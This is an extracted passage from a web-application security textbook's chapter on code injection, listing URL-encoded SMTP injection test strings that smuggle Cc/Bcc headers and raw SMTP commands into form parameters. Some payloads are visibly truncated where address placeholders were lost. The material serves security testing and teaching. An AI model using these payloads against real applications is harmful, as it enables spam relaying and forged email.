The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

Finding SMTP Injection Flaws

To probe an application’s mail functionality effectively, you need to target

every parameter that is submitted to an email-related function, even those that

may initially appear to be unrelated to the content of the generated message.

324

Chapter 9 

■

Injecting Code

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 324

---

Chapter 9 

■

Injecting Code

325

You should also test for each kind of attack, and you should perform each test

case using both Windows and Unix-style newline characters.

HACK STEPS

■

You should submit each of the following test strings as each parameter in

turn, inserting your own email address at the relevant position:

%0aCc:

%0d%0aCc:

%0aBcc:

%0d%0aBcc:

%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+%0aRCPT+TO:+

ouremail>%0aDATA%0aFrom:+%0aTo:+%0aS

ubject:+test%0afoo%0a%2e%0a

%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+%0

d%0aRCPT+TO:+%0d%0aDATA%0d%0aFrom:+%

0d%0aTo:+%0d%0aSubject:+test%0d%0

afoo%0d%0a%2e%0d%0a

■